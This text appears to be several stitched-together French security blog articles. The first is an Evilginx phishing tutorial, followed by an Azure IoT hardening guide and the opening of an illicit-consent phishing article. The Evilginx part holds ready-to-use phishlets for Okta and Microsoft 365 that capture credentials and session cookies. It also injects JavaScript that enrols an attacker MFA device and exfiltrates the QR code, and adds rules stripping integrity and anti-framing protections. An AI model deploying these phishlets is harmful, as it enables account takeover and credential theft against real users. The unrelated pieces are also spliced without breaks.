By: array");e.redirectUri=e.redirectUri.replace("okta.com","evilginx.com");var t=

Avec cette simple indication, Evilginx remplacera tout motif correspondant, évitant ainsi la redirection de l’utilisateur en dehors de l’application de phishing.

Intégrité du JS

Lorsque l’on modifie le fichier JS ou tout autre fichier via Evilginx, cela peut causer des problèmes en raison du hash d’intégrité du script :

<script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.30.1/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-EX0iPfWYp6dfAnJ+ert/KRhXwMapYJdnU2i5BbbeOhWyX0qyI4rMkxKKl8N5pXNI" crossorigin="anonymous"/>

En effet, si Evilginx modifie le script okta-signing-widget, son hash ne correspondra pas à celui défini dans le fichier html et l’application refusera de le charger.

Avec Evilginx, nous pouvons également modifier la page html pour supprimer le contrôle d’intégrité :

Replace: integrity="[^"]*"
By: integrity=''

Validation de l’URI de redirection

Le dernier point est la validation de l’URI de redirection. En effet, lors de l’authentification OIDC, le client sera redirigé vers une page dont l’URL est du type :

/oauth2/v1/authorize?client_id=XXXXXX&redirect_uri=https://trial-xxxxx.okta.com[...]

Avec le remplacement automatique de domaine configuré sur Evilginx, le paramètre URI de redirection trial-xxxx.okta.com sera automatiquement changé en trial-xxxxx.evilginx.com.

Cela déclenchera le processus de validation de l’uri de redirection. Le domaine evilginx.com n’ayant pas été configuré du côté d’Okta comme un domaine de redirection valide, Okta affichera l’erreur suivante :

L’URI de redirection est construit dynamiquement par Okta en prenant le domaine de connexion et en ajoutant les paramètres de rappel. Il est donc possible de contourner cette erreur en modifiant le script JS qui construit l’URL et en s’assurant que l’URI de rappel est celui attendu par Okta :

En utilisant Evilginx, il est possible d’utiliser un motif qui sera remplacé pour réinitialiser le redirect_uri à la bonne URI :

Replace: ,l.src=e.getIssuerOrigin()
By: ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")

Replace: var s=(n.g.fetch||h())(t
By: ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")

Phishlets basiques

Okta

min_ver: '3.0.0'
name: 'okta-wavestone'

params:
  - name: okta_orga
    default: ''
    required: true
  - name: redirect_server
    default: https://google.com

proxy_hosts:
  - phish_sub: '{okta_orga}'
    orig_sub: '{okta_orga}'
    domain: okta.com
    session: true
    is_landing: true
    auto_filter: true

  - phish_sub: ok14static
    orig_sub: ok14static
    domain: oktacdn.com
    session: false
    is_landing: false
    auto_filter: true

  - phish_sub: login
    orig_sub: login
    domain: okta.com
    session: false
    is_landing: false
    auto_filter: true

sub_filters:
  - triggers_on: 'ok14static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: 'array"\);var t='
    replace: 'array");e.redirectUri=e.redirectUri.replace("{basedomain}","{orig_domain}");var t='
    mimes: ['application/javascript']

  - triggers_on: '{okta_orga}.okta.com'
    orig_sub: ''
    domain: 'okta.com'
    search: integrity="[^"]*"
    replace: integrity=''
    mimes: ['text/html', 'charset=utf-8']

  - triggers_on: '{okta_orga}.okta.com'
    orig_sub: ''
    domain: 'okta.com'
    search: 'mainScript\.integrity'
    replace: 'mainScript.inteegrity'
    mimes: ['text/html', 'charset=utf-8']

  - triggers_on: 'ok14static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: 'var s=\(n\.g\.fetch\|\|h\(\)\)\(t'
    replace: 't=t.replace("{orig_domain}","{domain}");var s=(n.g.fetch||h())(t'
    mimes: ['application/javascript']

  - triggers_on: 'ok14static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: ',l\.src=e\.getIssuerOrigin\(\)'
    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'
    mimes: ['application/javascript']

  - triggers_on: 'ok9static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: ',l\.src=e\.getIssuerOrigin\(\)'
    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'
    mimes: ['application/javascript']

auth_tokens:
  - domain: '{okta_orga}.okta.com'
    keys: ['idx:always']

credentials:
  username:
    key: ''
    search: '"identifier":"([^"]*)"'
    type: 'json'

  password:
    key: 'passwd'
    search: '(.*)'
    type: 'post'

login:
  domain: '{okta_orga}.okta.com'
  path: '/'

force_post:
  - path: '/kmsi'
    search:
      - {key: 'LoginOptions', search: '.*'}
    force:
      - {key: 'LoginOptions', value: '1'}
    type: 'post'

Azure

name: 'o365-wavestone'
min_ver: '3.0.0'

proxy_hosts:
  - phish_sub: 'login'
    orig_sub: 'login'
    domain: 'microsoftonline.com'
    session: true
    is_landing: true

  - phish_sub: 'www'
    orig_sub: 'www'
    domain: 'office.com'
    session: true
    is_landing:false

  - phish_sub: 'aadcdn'
    orig_sub: 'aadcdn'
    domain: 'msftauth.net'
    session: false
    auto_filter: true
    is_landing:false

auth_tokens:
  - domain: '.login.microsoftonline.com'
    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT']
  - domain: 'login.microsoftonline.com'
    keys: ['SignInStateCookie']

credentials:
  username:
    key: 'login'
    search: '(.*)'
    type: 'post'
  password:
    key: 'passwd'
    search: '(.*)'
    type: 'post'

auth_urls:
  - '/common/SAS/ProcessAuth'
  - '/kmsi'

login:
  domain: 'login.microsoftonline.com'
  path: '/'

force_post:
  - path: '/kmsi'
    search:
      - {key: 'LoginOptions', search: '.*'}
    force:
      - {key: 'LoginOptions', value: '1'}
    type: 'post'

  - path: '/common/SAS'
    search:
      - {key: 'rememberMFA', search: '.*'}
    force:
      - {key: 'rememberMFA', value: 'true'}
    type: 'post'

Automatiser les actions critiques

Ajouter un nouvel appareil au MFA

Une fois qu’un attaquant est en mesure de récupérer un accès initial à la session de l’utilisateur, il doit mettre en place une persistance de l’accès car les cookies ont une durée de validité limitée.

Cela se fait généralement en ajoutant un nouvel appareil au MFA associé au compte de l’utilisateur.

Par exemple, sur Azure, l’ajout d’un dispositif MFA ne nécessite pas de réauthentification ou de validation MFA. Ainsi, tant que l’attaquant a accès à la session utilisateur, il peut directement enregistrer son dispositif MFA malveillant.

En revanche, sur certaines plateformes d’identification comme Okta, l’enregistrement d’un MFA exige une validation MFA préalable. Même si un attaquant parvient à compromettre la session Okta de l’utilisateur, il ne pourra pas ajouter un dispositif MFA directement.

Il pourrait être intéressant d’ajouter cette étape de réauthentification dans le scénario d’attaque par phishing :

1. L’utilisateur s’authentifie une première fois pour accéder à sa session
2. Evilginx vole les cookies de session
3. Evilginx effectue des appels API automatiques pour déclencher l’enregistrement de l’appareil MFA en arrière-plan
4. L’utilisateur revalide son MFA, pensant que la première tentative a échoué
5. Evilginx intercepte le QR Code MFA, permettant à l’attaquant de finaliser l’enregistrement de son propre appareil

Toutes ces actions peuvent être automatisées via Evilginx en modifiant les scripts JS.

Dans un premier temps, Evilginx interceptera la redirection effectuée à la fin de la première authentification, et redirigera l’utilisateur vers une fausse page contrôlée par l’attaquant.

  - trigger_domains: ['{okta_orga}.okta.com']
    trigger_paths: ['/app/UserHome']
    script: |
  if(document.referrer.indexOf('/enduser/callback') != -1){document.location = 'https://'+window.location.hostname+'/help/login'}

Ce script sera injecté uniquement dans la page /app/UserHome et ne sera déclenché que lorsque cette page est accédée depuis /enduser/callback. Cela garantit que l’utilisateur est redirigé vers une page de leurre uniquement une fois que le premier processus d’authentification est terminé. Dans ce cas précis, la page de leurre est la page /help/login d’Okta. Cette redirection vers une page de leurre est indispensable, sinon l’utilisateur reste bloqué dans une boucle de redirection infinie à la fin de son authentification.

Ensuite, un nouveau code JS est ajouté à la page /help/login. Ce script permet d’énumérer les technologies MFA disponibles et configurées :

  - trigger_domains: ['{okta_orga}.okta.com']
    trigger_paths: ['/help/login']
    script: |
      function u4tyd783z(){
        fetch('/api/v1/authenticators')
        .then((data) => {
            data.json().then((jData)=>{
                let id = undefined
                for(let elt of jData){
                    if(elt.key == 'okta_verify'){
                        id = elt.id
                    }
                }
                if(id == undefined){
                    return
                }
                console.log('https://'+window.location.hostname+'/idp/authenticators/setup/'+id)
                document.location = 'https://'+window.location.hostname+'/idp/authenticators/setup/'+id
            })
        })
      }
      u4tyd783z();

Le script sélectionne la méthode d’authentification “Okta Verify” et redirige l’utilisateur vers la page de configuration.

Sur cette page de configuration, un nouveau script JS est injecté. Ce script automatise les étapes d’enregistrement afin de ne laisser visible que le formulaire de validation MFA :

- trigger_domains: ['{okta_orga}.okta.com']
    trigger_paths: ['/idp/authenticators/setup/.*']
    script: |
      function u720dhfn2(){
        if(document.querySelectorAll('.button.select-factor.link-button').length > 0){
            document.querySelectorAll('.button.select-factor.link-button')[0].click()
            document.querySelectorAll('body')[0].style.display = 'none'
            a = true
        }
        if(document.querySelectorAll('a.orOnMobileLink').length > 0){
            document.querySelectorAll('a.orOnMobileLink')[0].click()
            b = true
        }
        if(document.querySelectorAll('img.qrcode').length > 0){
            fetch("{qrcode_sink}", {
              method: 'POST',
              body: JSON.stringify({code: document.querySelectorAll('img.qrcode')[0].getAttribute('src')})
            }).then(()=>{
              document.location='{redirect_server}'
            }).catch(()=>{
              document.location='{redirect_server}'
            })

            clearInterval(myInterval)
        }
      }
      var a = false
      var b = false
      var myInterval = setInterval(function(){u720dhfn2()}, 10)

Une fois que l’utilisateur a validé l’authentification MFA, le script repère le QR Code affiché et l’exfiltre via une requête HTTP.

L’attaquant peut alors récupérer ce QR Code et enregistrer son propre appareil.

Aller plus loin

Okta avec l’authentification Azure

Certaines entreprises associent deux fournisseurs d’identité (IdP) : Okta redirige vers Azure et crée automatiquement le compte utilisateur lors de la première connexion.

Cette configuration est particulièrement intéressante pour un attaquant, car elle lui permet d’exfiltrer les sessions Azure et Okta à l’aide d’un seul phishing.

Pour ce faire, les deux phislets précédents doivent être fusionnés afin de capturer les deux processus d’authentification. L’essentiel est de s’assurer qu’Okta redirige vers le domaine Azure Evilginx, et non vers login.microsoftonline.com.

Heureusement, cette redirection est effectuée via un formulaire HTML en clair qui est soumis automatiquement dans la réponse d’Okta :

<form id="appForm" action="https://login.microsoftonline.com/7ee59529-c0a4-4d72-82e4-3ec0952b49f4/saml2" method="POST">[...]</form>

Comme le domaine Azure est codé en dur dans le HTML, Evilginx peut le remplacer

De même, une fois l’authentification terminée chez Microsoft, la redirection vers Okta peut être interceptée, et Evilginx peut substituer le domaine Okta réel par son équivalent malveillant, permettant ainsi la récupération du cookie de session Azure.

En résumé, dans cette configuration spécifique, il est possible de simplement fusionner les deux phislets précédents.

Frame buster

De plus en plus d’utilisateurs vérifient l’URL d’authentification avant de saisir leurs identifiants. Pour contourner cette vérification, il est possible d’utiliser la technique dite du “Browser-in-Browser”.

L’idée est d’intégrer l’application de phishing dans une iframe et de construire une fausse interface ressemblant à une fenêtre Chrome autour de cette iframe, afin de faire passer cette dernière pour une pop-up légitime.

Étant donné que l’apparence de la fenêtre est entièrement recréée, il devient possible d’y afficher une fausse adresse. Dans la figure ci-dessous, un formulaire Google est intégré via une iframe mais donne l’impression d’une véritable pop-up:

Le principal problème ici est que la plupart des formulaires d’authentification des fournisseurs d’identité (IdP) mettent en œuvre plusieurs techniques pour empêcher leur intégration dans une iframe. Ces techniques sont appelées framebusters.

Bien qu’Okta ne semble pas appliquer de telles protections, le formulaire d’authentification d’Azure contient de nombreuses fonctionnalités qui cesseraient de fonctionner s’il était intégré dans une iframe.

Self == top

La technique de framebuster la plus simple consiste à vérifier si la frame actuelle est la frame principale (top frame), ce que Microsoft implémente. Si le formulaire d’authentification détecte qu’il n’est pas affiché dans la frame principale, il refuse de s’afficher.

Avec Evilginx, il est possible de désactiver cette vérification à l’aide d’un simple modèle de correspondance et de remplacement (match & replace) :

Replace: if(e.self===e.top){
By: if(true){window.oldself=e.self;e.self=e.top;

Cette modification permet de faire passer l’iframe pour la frame principale (top frame), contournant ainsi la protection.

Target=”_top”

La technique suivante consiste à forcer la soumission du formulaire à rediriger la top frame. Ainsi, si le formulaire est soumis dans une iframe, la redirection s’appliquera non seulement à cette iframe, mais à toute la page, ce qui casse l’effet “Browser-in-Browser”.

Cela peut être réalisé en ajoutant l’attribut target= »_top » au formulaire. Il est ensuite possible de désactiver cette protection avec Evilginx :

Replace: method="post" target="_top"
By: method="post"

Framework specific

Microsoft utilise un framework spécifique pour ses applications. Ce framework n’implémente pas à proprement parler de techniques de framebusting, mais son fonctionnement interne rend son intégration dans une iframe particulièrement complexe.

Une des limitations principales apparaît au moment où le framework tente d’envoyer des données à une URL construite à partir du domaine de la top frame. Ainsi, au lieu d’envoyer les données à login.evilginx.com, elles sont envoyées à my-phishing-app.com, ce qui interrompt complètement le processus d’authentification.

Pour modifier cette adresse, il n’est pas possible de simplement remplacer le domaine par celui du site de phishing comme cela a été fait précédemment. Il est nécessaire de comprendre le fonctionnement du framework afin de modifier manuellement cette valeur au niveau de l’élément racine :

Replace: autoSubmit: forceSubmit, attr: { action: postUrl }
By: autoSubmit: forceSubmit, attr: { action: \\'/common/login\\'}

HTTP header

La dernière technique de framebusting repose sur l’en-tête HTTP X-Frame-Options: DENY, qui indique au navigateur que l’application ne peut pas être affichée dans une iframe.

Il est possible de supprimer cet en-tête à l’aide d’Evilginx :

Replace: X-Frame-Options: DENY
By: Test: Test

Final phishlet

The following video shows an example of browser in browser phishing on a company using Okta/Azure. The attacker will be able, in a single phishing to:

• Retrieve the Azure credentials
• Retrieve the Azure cookies
• Retrieve the Okta cookies
• Retrieve the MFA enrollment QRCode for Okta

La vidéo suivante présente un exemple d’attaque par phishing de type “Browser-in-Browser” ciblant une entreprise utilisant Okta et Azure. Lors d’un seul et unique phishing, l’attaquant est capable de :

• Récupérer les identifiants Azure
• Récupérer les cookies de session Azure
• Récupérer les cookies Okta
• Récupérer le QR Code d’enrôlement MFA pour Okta

Exemple d’attaque par phishing de type “Browser-in-Browser” ciblant une entreprise utilisant Okta et Azure

L’évolution des techniques de phishing, illustrée par des outils tels qu’Evilginx, révèle une transformation significative des menaces informatiques : il ne s’agit plus uniquement d’exfiltrer des identifiants, mais de détourner des sessions authentifiées dans leur intégralité. En adoptant une posture d’« homme du milieu » (Adversary-in-the-Middle, AiTM), Evilginx est en mesure d’intercepter et de manipuler les échanges entre l’utilisateur et les services légitimes, contournant ainsi les mécanismes traditionnels d’authentification multifacteur (MFA).

Cette capacité ne constitue toutefois qu’un aperçu des possibilités offertes par l’outil. Evilginx peut être ajusté pour automatiser des actions critiques telles que l’enregistrement d’un dispositif MFA, contourner des protections comme les framebusters et garantir un accès persistant à la session utilisateur.

La seule mesure réellement efficace pour réduire les attaques par phishing consiste à déployer des mécanismes d’authentification multifacteur résistants au phishing, tels que les clés FIDO, au minimum pour les comptes administrateurs.

Cet article Phishing : Evilginx poussé à ses limites est apparu en premier sur RiskInsight.

Azure, ces dernières années, s’impose de plus en plus dans ce secteur, comme a pu le souligner le Gartner, qui les classe dans les leaders visionnaires des plateformes IIoT [1] en raison de ses capacités, et de sa couverture quasiment complète de tous les cas d’utilisation et secteurs d’activité.

L’IoT, par nature souvent largement exposé, voire sur Internet, peut-être la cible d’attaques.

Avant de passer à des recommandations spécifiques pour protéger vos dispositifs IoT et vos données, examinons comment les différents services d’Azure IoT peuvent être utilisés ensemble pour créer des solutions IoT sécurisées.

Présentation de l’offre Azure IoT

Microsoft Azure IoT est une plateforme de bout en bout pour la connectivité, l’analyse et la visualisation de données provenant d’appareils IoT. Elle offre également une interconnexion avec les autres services standards d’Azure comme Azure Machine Learning ou encore Azure SQL Database.

Azure IoT propose deux écosystèmes de solutions à ses clients :

• Azure IoT Central est une aPaaS, application Platform as a Service, entièrement managée qui simplifie la création de solutions IoT. Ce service est responsable de connecter, gérer et exploiter des flottes d’appareils, et fournit à une interface utilisateur de gestion. Azure IoT Central est en réalité un agrégat de différents services Azure IoT comme Azure IoT Hub ou encore Azure IoT Hub Device Provisioning Service (DPS).

Azure IoT Central propose des modèles d’application selon plusieurs domaines d’activité : Retail, Santé, Energie, Industrie, etc., et vise une mise en œuvre « clés en main ».  

• Un écosystème personnalisé grâce aux différents services PaaS, Platform as a Service, d’Azure. Dans cet écosytème, deux services ; Azure IoT Hub et Azure Digital Twins sont les fondations d’une solution IoT. Nous les avons également combinés à Azure Device Provisionning et Azure Device Update pour une couverture des besoins cybersécurité optimale.

Ces deux écosystèmes permettent à Azure de répondre à tous types de besoins IoT et IIoT :

• Azure IoT Central est un très bon service si vous souhaitez développer rapidement une application peu complexe grâce à son catalogue de modèle d’application.
• Si vous souhaitez une solution personnalisée, ou avec des fonctionnalités non supportées par Azure IoT Central : optez pour un écosystème fondé sur Azure IoT Hub.

Maintenant que nous avons une bonne compréhension des écosystèmes d’Azure IoT, il est important de se concentrer sur la sécurisation de ces écosystèmes. Comment protéger efficacement des dispositifs IoT et des données lors de l’utilisation des services Azure IoT ? C’est ce que nous allons étudier dans les prochaines parties.

Préambule : l’outil Azure CLI

Afin de gérer des ressources Azure, Microsoft met à disposition plusieurs outils, la plupart étant utilisables en CLI (Command Line Interface, ou en lignes de commandes). L’outil proposant le plus de fonctionnalités pour la gestion étant Azure CLI.

Cet outil, disponible pour les systèmes d’exploitation de type Windows et UNIX, permet notamment à un utilisateur membre d’un environnement Azure de gérer et d’obtenir des informations concernant des ressources Azure. Il est à noter que l’éventail des possibilités de cet outil varie en fonction des droits que possède l’utilisateur sur les ressources en question.

Pour l’installer, Microsoft met à disposition une page dédiée expliquant les étapes pour tout type d’environnement.

Afin de l’utiliser, il suffit de se connecter à un compte utilisateur Azure via l’interface de commande choisie (Powershell ou Bash), puis d’entrer les commandes voulues. Lorsque l’utilisation de cet outil est terminée, une déconnexion du compte est recommandée.

Une utilisation classique de cet outil est présentée ci-dessous :

La documentation de cet outil, présentant et expliquant l’ensemble des commandes possibles, est disponible à cette adresse.

Cet outil sera utilisé par la suite lors d’exemple de manipulations techniques.

1^er vecteur de sécurisation : authentification des objets

L’authentification des appareils est cruciale pour une infrastructure Azure car elle permet de garantir que seuls les dispositifs autorisés puissent accéder aux ressources Cloud. Les services Azure IoT supporte deux principaux moyens d’authentification pour les dispositifs IoT :

• Un Jeton SAS (Shared Access Signature, ou SAS Token en anglais) est une chaine de caractères permettant d’authentifier des appareils, ainsi que des services. Un jeton SAP à la structure suivante :

Ce type d’authentification a une durée de validité définie et des permissions, qui lui sont attribué à partir d’une stratégie d’accès, sur un périmètre donné. La signature, quant à elle, est un élément crucial car elle est responsable de garantir la sécurité des communications entre l’objet et les services Azure, mais également de prouver l’identité du dispositif. Cette signature est générée à partir d’un secret qui doit être propre à chaque appareil.

• Un certificat X.509 [2] est un certificat numérique permettant une authentification forte de l’objet. Il contient des informations sur l’entité émettrice du certificat, la durée de validité du certificat mais également l’identité du sujet (par exemple : l’objet). L’une des forces des certificats est la capacité à pouvoir créer des chaines de certificats, et ainsi créer des relations de confiance:

En termes de sécurité, les certificats X.509 offrent un niveau de sécurité plus élevé, en supposant un algorithme cryptographique à l’état de l’art, car ils permettent de représenter des relations de confiance. Cependant, la gestion et l’utilisation des certificats peut impliquer une complexité supplémentaire pour un projet IoT.

Afin de forcer l’utilisation des certificats X.509 pour authentifier des objets connectés, il est possible d’interdire les jetons SAS pour un IoT Hub. En effet, les IoT Hubs d’Azure possèdent trois propriétés liées à l’utilisation ou non des jetons SAS :  disableLocalAuth, disableDeviceSAS et disableModuleSAS. Par conséquent, la bonne pratique associée à l’interdiction des jetons SAS passe par l’attribution de ces trois paramètres à True. Cette manipulation peut être réalisée à l’aide de l’outil Azure CLI :

La vérification des valeurs de ces mêmes paramètres peut également être réalisée à l’aide d’Azure CLI :

Dans l’exemple de réponse ci-dessous, la propriété disableDeviceSAS a été correctement paramétrée, ce qui n’est pas le cas des deux autres.

Le portail d’Azure permet également d’effectuer cette vérification :

Le choix du moyen d’authentification pour Azure IoT dépendra des exigences de sécurité de votre solution. Si vous avez besoin d’une sécurité élevée et que vous avez une infrastructure pour gérer les certificats, alors l’authentification par certificat X.509 est une bonne option. Cependant, si vous recherchez une solution simple à gérer et à utiliser, le jeton SAS pourrait être plus adapté à vos besoins.

2^ème vecteur de sécurisation : RBAC et alertes

L’assignement des rôles sur votre infrastructure Azure IoT doit être réfléchi et défini selon les besoins des utilisateurs. Une définition de rôles et de permissions précise permet de limiter l’accès aux ressources et aux divers fonctionnalités disponibles sur la plateforme. Les différents services Azure IoT fournissent une multitude de rôles préconfigurés qui peuvent être adaptés à vos besoins et à votre organisation. Ensuite, appliquer le principe du moindre privilège, et limiter le nombre de comptes disposant de privilèges importants, permet d’améliorer le niveau de sécurité de votre infrastructure Azure IoT.

Azure CLI permet notamment de lister les utilisateurs possédant des droits sur la ressource Azure IoT souhaitée, ainsi que leurs rôles associés. La commande suivante permet de réaliser cette action :

Il est possible d’utiliser des sélecteurs de chaînes de caractères (Select-String pour Powershell, grep pour Bash) afin de ne récupérer que les informations souhaitées.

Dans l’exemple ci-dessous, les noms, types et rôles ont été les seuls éléments récupérés à l’aide de Select-String :

La fonction des rôles intégrés Azure est disponible à cette page.

De plus, la configuration d’alertes basées sur les métriques de vos services Azure IoT est un autre outil à prendre en compte. Des alertes peuvent être configurées pour détecter des comportements suspects ou des anomalies, et ainsi permettre une investigation rapide sur votre infrastructure. Azure met à la disposition de ses clients une large collection de signaux permettant de définir des conditions d’alertes. Il est également possible de définir des signaux d’alertes customisés via le langage de requête utilisé par Azure Log Analytics.

Le Portail Azure est le moyen le plus facile pour mettre en place des alertes basées sur les données collectées par le IoT Hub. Par exemple, pour définir une règle d’alerte de journal, il faut :

1. Aller sur la page de management du IoT Hub souhaité ;
2. Aller dans la sous-catégorie Logs de la catégorie Monitoring;
3. Choisir une règle en utilisant le langage de Azure Log Analytics ;
4. Ajouter une règle d’alerte liée à cette requête ;
5. Choisir l’opérateur, l’unité, la valeur seuil, la récurrence de vérification et la période concernée par la règle.

Ces actions sont résumées par les captures d’écran ci-dessous :

Il suffira ensuite de choisir un groupe d’action lié à un type d’action (envoi de mail, de SMS, etc.).

L’exemple donné entrainera une action si le nombre de connexions échouées d’objets connectés à l’IoT Hub concerné dépasse les 10 échecs en 10 minutes ou moins.

En complément, un guide détaillé prenant la forme d’un tutoriel est disponible sur la documentation Azure. Il est à noter que ce service est payant en supplément.

3^ème vecteur de sécurisation : le service en lui même

Enfin, la mise en place d’une configuration adéquate des services Azure IoT est un autre élément clé pour améliorer le niveau de maturité cyber de la plateforme. Cela inclut des options telles que par exemple les règles de routage ou encore paramétrer la version minimum de TLS utilisé par les appareils pour se connecter sur Azure IoT Hub.

Les règles de routage sont utilisées pour rediriger les messages des appareils IoT vers un point de terminaison (stockage, services, base de données, etc.) et sont paramétrables par des requêtes de routage. Il est recommandé de filtrer les messages entrants, via les requêtes de routage, afin d’augmenter la sécurité de votre solution IoT.

La vérification de la version minimale de TLS acceptée peut être faite à l’aide d’Azure CLI : en effet, un IoT Hub possède l’attribut minTlsVersion permettant de contrôler cette propriété. Cette vérification est réalisée à l’aide de la commande suivante :

Si cette commande ne retourne rien, ou retourne une valeur inférieure à 1.2, alors la configuration n’est pas satisfaisante.

Le portail d’Azure permet également d’effectuer cette vérification :

En synthèse

La sécurité est un enjeu majeur pour les projets IoT : Microsoft, avec son produit Azure IoT, fournit une plateforme IoT répondant à une majorité des besoins IoT, et ce de manière sécurisée, sous couvert d’en faire la bonne configuration. Au cours de cette article, nous avons abordé des recommandations permettant d’améliorer le niveau de sécurité de votre infrastructure Azure IoT.

Il est important de garder en tête que d’autres vecteurs d’attaques existent, tels que les vulnérabilités matérielles et logicielles ainsi que les réseaux utilisés par les dispositifs IoT.  En somme, la sécurité d’une infrastructure IoT est un défi complexe qui nécessite une approche de bout en bout.

Avec la participation de Marius ANDRE

[1] “Magic Quadrant for Global Industrial IoT Platforms”

https://www.gartner.com/doc/reprints?id=1-2BQFX3BJ&ct=221116&st=sb

[2] “Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List (CRL) Profile”

https://www.rfc-editor.org/rfc/rfc5280

Cet article Améliorer la sécurité de son infrastructure IoT : conseils de configuration et bonnes pratiques sur Azure IoT est apparu en premier sur RiskInsight.

Les attaques par hameçonnage (phishing) sont connues de tous. L’objectif de ce type d’attaque est de réaliser des actions depuis le compte d’une victime ou de récupérer des informations sur la personne ou l’entreprise ciblée.

Malgré leur notoriété, elles restent très efficaces pour les attaquants. En effet, parmi les attaques investiguées par le CERT Wavestone, environ 51% d’entre elles commencent par l’utilisation de comptes valides, ce qui inclut les attaques par hameçonnage (phishing).

Face aux attaques par l’hameçonnage, nous sommes tous vulnérables ! Un attaquant disposant de suffisamment de ressources et d’informations sur sa cible peut générer un piège assez élaboré pour faire baisser la garde du destinataire. De même, les suites de produits Office365 et Azure disposent de fonctionnalités pouvant être exploitées dans le cadre d’attaques moins conventionnelles et dont les impacts peuvent être méconnus des utilisateurs.

La sensibilisation des employées, bien que nécessaire pour faire face aux menaces les plus répandues, ne suffit pas face à certains types d’attaques plus ciblées ou moins traditionnelles. Un durcissement des conditions d’accès aux ressources hébergées sur le cloud, une bonne hygiène dans la gestion des droits d’accès ainsi que la détection d’accès inhabituels et suspicieux sont primordiales dans la stratégie de défense des entreprises.

Les attaquants disposent d’une large gamme d’outils et de possibilités pour accéder aux documents stockés sur le SharePoint d’une entreprise, tenter de récupérer des emails sensibles ou récupérer des informations sur les employés. L’attaque par hameçonnage traditionnelle ainsi que par l’authentification « device code » seront brièvement expliquées ci-dessous avant d’examiner plus en détails les attaques par consentement illicite.

L’attaque de phishing traditionnelle : une menace connue et évitable via l’usage d’authentification multi facteur

Les attaques de phishing traditionnelles reposent généralement sur l’envoi d’un lien dirigeant les victimes ciblées vers un site qu’il contrôle. Grace à une mire d’authentification similaire à celles auxquelles sont habituées les employées de l’entreprise ciblée, l’attaquant récupère les identifiants et mots de passe des utilisateurs piégés.

L’attaque par hameçonnage traditionnelle est simple à mettre en œuvre en l’absence d’authentification multi-facteur

La simplicité de mise en œuvre à grande échelle d’une telle attaque en fait un outil de choix pour les attaques non ciblées. Une méthode pour se prémunir contre ce type d’attaque est d’imposer l’utilisation d’un second facteur d’authentification.

Il est à noter cependant que bien que plus complexe à mettre en œuvre, l’interception du second facteur d’authentification est techniquement réalisable et fera l’objet d’un article dédié.

L’attaque via l’authentification « device code » : une méthode méconnue d’authentification détournée par des attaquants

Cette attaque repose sur la fonctionnalité d’octroi d’autorisation d’appareil (device authorization grant)[1]. Cette méthode d’authentification permet d’authentifier un utilisateur sur un appareil ne disposant pas de navigateur web. Un code s’affichant sur cet appareil doit alors être renseigné sur un ordinateur ou un smartphone via le site de Microsoft dédié. Cet appareil disposera ensuite d’une partie des droits d’accès aux ressources Office 365 que l’utilisateur ayant renseigné le code.

Cette procédure peu connue des utilisateurs, peut être exploitée par un attaquant à des fins malveillantes :

• L’attaquant génère tout d’abord un code d’appareil, en utilisant le même processus utilisé par les appareils ne disposant pas de navigateur web.
• Ensuite, l’objectif de l’attaquant sera d’amener la victime à renseigner son code d’appareil sur la page https://microsoft.com/devicelogin. Par exemple, l’attaquant pourrait prétexter que pour accéder à un document sensible, il est nécessaire de se connecter à ce lien en utilisant le code qu’il a généré.
• Si la cible accède au lien, renseigne le code et s’authentifie, cela permettra à l’attaquant d’usurper l’identité de la victime.

Exemple d’attaque par hameçonnage par device code

Cette attaque est plus difficile à réaliser pour un attaquant en raison de la faible durée de vie des « device codes » : ces derniers sont uniquement valables pendant une durée de 15min et doivent donc être générés peu de temps avant que l’utilisateur ne le renseigne. Cette attaque est donc plus facilement réalisable dans le cadre d’attaques par « phoning » ou de phishing via Teams. Par exemple, l’attaquant pourrait appeler la victime, prétexter faire partie de l’équipe du support IT de l’entreprise pour demander à l’utilisateur de s’authentifier sur le lien indiqué et de renseigner le code de son choix.

Pour se prémunir contre ce type d’attaque, les politiques d’accès conditionnel sur Azure permettent notamment d’interdire les connexions suspicieuses provenant d’appareil non maitrisés par l’entreprise.

L’attaque par consentement illicite

En plus de ces deux méthodes, l’attaque par consentement illicite permet aussi à un attaquant de récupérer un accès à un environnement Azure de manière illégitime. Cette dernière était même initialement plus simple à mettre en œuvre pour un attaquant que les attaques via l’authentification « device code ». Face à la recrudescence de cette menace, des actions ont été menées en 2020 par Microsoft pour limiter les conditions de réalisation de l’attaque. Si des configurations durcies d’Azure permettent de totalement bloquer cette menace, les configurations implémentées par certaines entreprises les exposent à ce type d’attaque. Quels sont les prérequis pour la réalisation d’une telle attaque, quelles sont les conséquences possibles et comment s’en prémunir ?

Qu’est-ce qu’une attaque par consentement illicite ?

Pour comprendre le principe de cette attaque, mettons-nous dans la peau d’un employé victime d’une telle attaque :

• La victime reçoit un mail d’hameçonnage indiquant une action urgente à réaliser pour maintenir son compte Microsoft activé. Les employés sont sensibilisés à ne pas cliquer sur des liens de phishing et à ne pas entrer leur mot de passe sur des plateformes inconnues. Le lien sous le format https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=<CLIENT_ID>&redirect_uri=<Attacker_controled_URL>&response_type=code&response_mode=query&scope=Mail.ReadWrite%20Files.Read.All%20Mail.Send%20User.Read contient un domaine associé à Microsoft, ce qui rassure la victime.
• En cliquant sur le lien, la victime doit s’authentifier. Cette authentification est souvent automatique puisqu’elle bénéficie de l’authentification unique (SSO) de Microsoft. La victime reçoit alors une demande de délégation de permissions:

L’application malveillante demande à l’utilisateur de lui déléguer ses permissions

